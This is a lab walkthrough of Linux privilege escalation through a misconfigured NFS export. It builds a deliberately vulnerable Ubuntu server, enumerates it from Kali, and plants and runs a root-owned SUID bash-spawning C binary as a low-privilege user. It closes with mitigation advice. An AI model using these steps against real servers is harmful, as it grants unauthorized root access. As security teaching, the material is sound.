Overview

This article delivers a complete, hands-on walkthrough of one of the most reliable Linux privilege-escalation techniques: abusing the NFS no_root_squash export option. It is written for penetration testers, system administrators, and security students who want to understand both how the attack unfolds and how to stop it.

The walkthrough is divided into three phases. First, we configure a deliberately vulnerable NFS server and expose the misconfigured share. Next, we move to a Kali Linux attacker and enumerate the target to confirm the weakness. Finally, we weaponise the share by planting a root-owned SUID binary and execute it as a low-privilege user to obtain a root shell. The article closes with a practical mitigation strategy and key takeaways. Throughout, every command is presented separately from its explanation and paired with a terminal screenshot so you can follow along step by step.

Table of Contents

• Introduction
• Understanding the no_root_squash Misconfiguration
• Lab Environment
• Phase 1 — Configuring the Vulnerable NFS Server
  • Install the NFS Server Package
  • Create and Open the Shared Directory
  • Define the Dangerous Export
  • Apply the Export and Permit Firewall Access
• Phase 2 — Enumerating the Target from Kali
  • Discover NFS Services with Nmap
  • Confirm the Export with showmount
• Phase 3 — Exploiting no_root_squash for Root
  • Mount the Remote Share as Root
  • Craft a Root-Owned SUID Shell
  • Execute the Payload as the Low-Privilege User
• Why the Attack Succeeds
• Mitigation Strategy
• Conclusion

Introduction

The Network File System (NFS) lets Linux hosts share directories transparently across a network, and administrators rely on it daily to centralise storage. However, a single careless export option can turn this convenience into a complete system compromise. In this article, we exploit the notorious no_root_squash misconfiguration to escalate a low-privilege account into a full root shell.

We first set up a vulnerable NFS server on an Ubuntu 22.04 host (ignite, 192.168.1.14), then pivot to a Kali Linux attacker to enumerate, mount, and weaponise the exposed share. Every command appears separately from its explanation, and a terminal screenshot follows each step so you can reproduce the attack precisely.

Understanding the no_root_squash Misconfiguration

By default, NFS protects the server with a safeguard called root squashing. When a remote client connects as root (UID 0), the server silently downgrades that identity to the unprivileged nobody account, preventing a remote root user from owning sensitive files on the share.

Setting no_root_squash disables this protection entirely. The server now trusts a remote root user as a genuine local root. Consequently, an attacker who controls root on any machine in the network can write files to the share that are owned by root and carry the SUID bit. When a low-privilege user on the server later executes that file, the program runs with root privileges — and the attacker wins.

Lab Environment

The walkthrough uses two machines on the same 192.168.1.0/24 subnet. The NFS server (ignite) runs Ubuntu 22.04.5 LTS at 192.168.1.14 and exports /srv/nfs/share. The attacker operates from Kali Linux and additionally holds SSH access to the server as the low-privilege user lowpriv. This mirrors a realistic post-exploitation scenario in which an attacker already has a foothold but lacks root.

Phase 1 — Configuring the Vulnerable NFS Server

Install the NFS Server Package

We begin on the target by installing the NFS server software. The nfs-kernel-server package provides the kernel-level NFS daemon along with the export tooling. In the image below, APT reports that the package is already present and at its newest version, confirming the server is ready to configure. And all of this is confirmed by using the following command:

apt install nfs-kernel-server

Create and Open the Shared Directory

Next, we create the directory that the server will export. The mkdir -p option creates the entire directory path in one step, and chmod 777 gives read, write, and execute rights to all users, making the directory writable by anyone. While 777 is intentionally permissive for this demonstration, it is exactly the kind of loose permission that compounds the risk in real environments.

mkdir -p /srv/nfs/share
chmod 777 /srv/nfs/share

Define the Dangerous Export

Now we reach the heart of the misconfiguration. We inspect /etc/exports, the access-control file that lists every shared filesystem. We will use the following command for the said:

cat /etc/exports

The final line exports /srv/nfs/share to all hosts (the asterisk) with read-write access and, critically, the no_root_squash option. This single keyword strips away root squashing and sets the stage for the entire attack.

Apply the Export and Permit Firewall Access

With the configuration in place, we restart the NFS service, so it reloads /etc/exports, then verify the live export table with the set of the following commands:

systemctl restart nfs-kernel-server
exportfs -v
sudo ufw allow from 192.168.1.0/24 to any port nfs

The output confirms the share is offered to <world> with rw and no_root_squash. Finally, we open the host firewall to the local subnet so clients can reach the NFS ports, and UFW reports that the rules were updated successfully.

Phase 2 — Enumerating the Target from Kali

Discover NFS Services with Nmap

We now switch to the Kali attacker and probe the target. The Nmap scan combines service-version detection (-sV) with the nfs-showmount script, which queries the mount daemon for exported paths with the following command:

nmap -sV --script=nfs-showmount 192.168.1.14

The results expose a rich NFS surface: rpcbind on port 111, the nfs service on 2049, and several mountd, nlockmgr, and status programs. Most importantly, the nfs-showmount section reveals the exported path /srv/nfs/share offered to every host.

Confirm the Export with showmount

To confirm the finding quickly, we query the server directly with showmount -e, which lists every export the host advertises. The tool returns /srv/nfs/share with the asterisk, proving the share is reachable by any client on the network and ready to mount.

showmount -e 192.168.1.14

Phase 3 — Exploiting no_root_squash for Root

Mount the Remote Share as Root

Because we hold root on the Kali attacker, we can leverage no_root_squash directly. We create a local mount point at /tmp/nfs, assign it to root, and apply the 4755 mode (setting the SUID bit on the directory to mirror the intended workflow). We then mount the remote export over NFS. From this moment, any file we write into /tmp/nfs lands on the server owned by root. And to achieve all this, we will use the following set of commands:

mkdir /tmp/nfs
sudo chown root:root /tmp/nfs
sudo chmod 4755 /tmp/nfs
sudo mount -t nfs 192.168.1.14:/srv/nfs/share /tmp/nfs

Craft a Root-Owned SUID Shell

With the share mounted, we plant the payload. We move into /tmp/nfs and write a small C program, shell.c, that calls setuid(0) and setgid(0) before spawning /bin/bash. These calls force the process to adopt the root identity at runtime, provided the binary itself is owned by root and carries the SUID bit.

cd /tmp/nfs
nano shell.c
cat shell.c

The source code of the payload is shown below:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}

We compile the program with gcc, then set the SUID and SGID bits using chmod +s. Because the attacker is root, the resulting binary is owned by root on the share. The ls -la output confirms the success: the permission string -rwsr-sr-x shows both the SUID and SGID bits active on a root-owned executable.

gcc shell.c -o shell
chmod +s shell
ls -la shell

Execute the Payload as the Low-Privilege User

Finally, we return to the server as the unprivileged account. We log in over SSH as lowpriv, move into the shared directory, and list its contents — the planted shell binary sits there waiting. When we run ./shell, the kernel honours the SUID bit and elevates the process to root privileges. The prompt instantly changes to the root shell, and the id command confirms the win: uid=0(root). The attack is complete.

ssh lowpriv@192.168.1.14
cd /srv/nfs/share
ls
./shell
id

Why the Attack Succeeds

The exploit chains three weaknesses into one outcome. First, no_root_squash lets a remote root write root-owned files onto the share. Second, the SUID bit instructs the kernel to run the binary with the file owner’s privileges rather than the caller’s. Third, NFS preserves file ownership and the SUID bit across the network boundary. Together, these allow an attacker who is root anywhere on the network to drop a root-owned SUID binary that any local user can trigger to gain root on the server.

Mitigation Strategy

Defenders can close this gap with a few disciplined practices. Always prefer root_squash — the secure default — and reserve no_root_squash for tightly controlled, isolated cases. Export shares only to specific, trusted hosts instead of the wildcard asterisk, and add the nosuid option so the server ignores SUID bits on files served over NFS. Restrict access at the network layer with firewall rules, and where possible, adopt NFSv4 with Kerberos authentication for strong client identity.

On the client side, mount remote shares with the nosuid and noexec options to neutralise any planted binaries, and audit /etc/exports regularly to catch unsafe options before an attacker does. The hardened export below applies these principles — it limits the share to a single trusted host, restores root squashing, and strips the SUID bit:

/srv/nfs/share 192.168.1.50(rw,sync,root_squash,no_subtree_check,nosuid)

Conclusion

This walkthrough demonstrates how a single export option transforms a routine file share into a direct path to the root. The no_root_squash directive is convenient but dangerous, and it remains a recurring finding in penetration tests and CTF challenges alike. By understanding both the offensive technique and the corresponding defences, administrators can keep NFS useful without leaving the door open to privilege escalation.